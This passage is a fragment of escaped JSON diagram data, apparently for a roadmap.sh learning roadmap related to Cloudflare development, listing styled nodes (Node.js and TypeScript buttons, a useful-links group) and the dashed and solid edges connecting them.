\"selectable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 303.6803864110923,\n        \"y\": 2841.402758744258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 303.6803864110923,\n        \"y\": 2841.402758744258\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 119,\n      \"height\": 49,\n      \"id\": \"CH_K6mmFX_GdSzi2n1ID7\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 239.91830765534394,\n        \"y\": 2778.4187461412685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"href\": \"https://roadmap.sh/nodejs\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"-sFboM4eFUMVq1tlPl-fV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 239.91830765534394,\n        \"y\": 2778.4187461412685\n      },\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 363.3768792343918,\n        \"y\": 2778.4187461412685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 363.3768792343918,\n        \"y\": 2778.4187461412685\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WO8APVjZM_WD_ke5qLyOz\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -288.5107846621675,\n        \"y\": 63.989067239010296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Useful Links\",\n        \"links\": [\n          {\n            \"id\": \"63hdFwOU9EHEykngaL1Wi\",\n            \"label\": \"Cloudflare Docs\",\n            \"url\": \"https://developers.cloudflare.com/\"\n          },\n          {\n            \"id\": \"TT9VW8sY-2yU8X3dxuu-K\",\n            \"label\": \"Discord Community\",\n            \"url\": \"https://discord.gg/cloudflaredev\"\n          }\n        ],\n        \"oldId\": \"qnjDifLlSYoxWd5GmuQXd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 133,\n      \"positionAbsolute\": {\n        \"x\": -288.5107846621675,\n        \"y\": 63.989067239010296\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 133\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 133\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"t3Op8UcgDKVeMLNMDePrW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ji35JsKgUQXN4DJGEgTACx2-t3Op8UcgDKVeMLNMDePrWw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"t3Op8UcgDKVeMLNMDePrW\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PcYnYAAkKMbzoiCnBfjqO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-t3Op8UcgDKVeMLNMDePrWy2-PcYnYAAkKMbzoiCnBfjqOz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TB6vGzDgGZ9yAd9MGR7vw\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-TB6vGzDgGZ9yAd9MGR7vwz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aGWLomYHGkIfn7GFc0_Yl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-aGWLomYHGkIfn7GFc0_Ylz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HNEXPU6r_T7UYvwLv2wnt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-HNEXPU6r_T7UYvwLv2wntz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_2UnRlbUplHvs5-Stj4O4\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-_2UnRlbUplHvs5-Stj4O4z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"i6L9FI6fBDXr0XtMrc_uR\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-i6L9FI6fBDXr0XtMrc_uRz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WZSi9inWPhqZQvDN-C8BV\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-WZSi9inWPhqZQvDN-C8BVz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uBjcQ9PJUfwzu5N_2CNjN\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-uBjcQ9PJUfwzu5N_2CNjNz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aStbAF4zraqhJ-N3RH4ha\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-aStbAF4zraqhJ-N3RH4haz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"9ef2VPCru8lCmRxxGe-Eo\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-9ef2VPCru8lCmRxxGe-Eoz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"IubwhdnyWtjpejkGOfnPy\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYx2-IubwhdnyWtjpejkGOfnPyw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"c2YZ7PPCX1jF_RU7C0AqN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ji35JsKgUQXN4DJGEgTACx2-c2YZ7PPCX1jF_RU7C0AqNw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IubwhdnyWtjpejkGOfnPy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kJXPzUulKPhawgbEK7n9l\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-IubwhdnyWtjpejkGOfnPyz2-kJXPzUulKPhawgbEK7n9ly1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IubwhdnyWtjpejkGOfnPy\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3BGY76hTLAE8PY7OXQtNR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-IubwhdnyWtjpejkGOfnPyx2-3BGY76hTLAE8PY7OXQtNRw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1dGFfQauOgHP7T4ReMpCU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EBTHbXOOZiqrcYJvKhcWV\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1dGFfQauOgHP7T4ReMpCUx2-EBTHbXOOZiqrcYJvKhcWVw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3BGY76hTLAE8PY7OXQtNR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1dGFfQauOgHP7T4ReMpCU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-3BGY76hTLAE8PY7OXQtNRy2-1dGFfQauOgHP7T4ReMpCUz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3BGY76hTLAE8PY7OXQtNR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-3BGY76hTLAE8PY7OXQtNRx2-gxLUlXGuaY5Q-0xmBgQwzw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"K9iW2H6riKwddWmpWJFJw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gxLUlXGuaY5Q-0xmBgQwzz2-K9iW2H6riKwddWmpWJFJwy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BPahk1qH9Hk11tsE2hw3A\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gxLUlXGuaY5Q-0xmBgQwzz2-BPahk1qH9Hk11tsE2hw3Ay1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3jU5753Uza2aS-gZo7w4k\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gxLUlXGuaY5Q-0xmBgQwzz2-3jU5753Uza2aS-gZo7w4ky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UNE6XK4su5r2jcxhY7hOG\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gxLUlXGuaY5Q-0xmBgQwzz2-UNE6XK4su5r2jcxhY7hOGy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YvgmmF9sWfURgijFV7E31\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gxLUlXGuaY5Q-0xmBgQwzz2-YvgmmF9sWfURgijFV7E31y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mKN0Ta3zSk7PCm_uHYKFN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-gxLUlXGuaY5Q-0xmBgQwzx2-mKN0Ta3zSk7PCm_uHYKFNw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mKN0Ta3zSk7PCm_uHYKFN\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9MlFtF1q0eis4YmCEmIir\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-mKN0Ta3zSk7PCm_uHYKFNz2-9MlFtF1q0eis4YmCEmIiry1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zyRgTtlng6idboSgL9YTt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EFA8m0EdhygxcBWzwmbnT\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zyRgTtlng6idboSgL9YTtx2-EFA8m0EdhygxcBWzwmbnTw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9MlFtF1q0eis4YmCEmIir\",\n      